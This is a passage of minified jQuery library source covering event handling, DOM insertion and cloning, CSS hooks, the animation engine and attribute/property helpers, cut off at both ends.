0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" 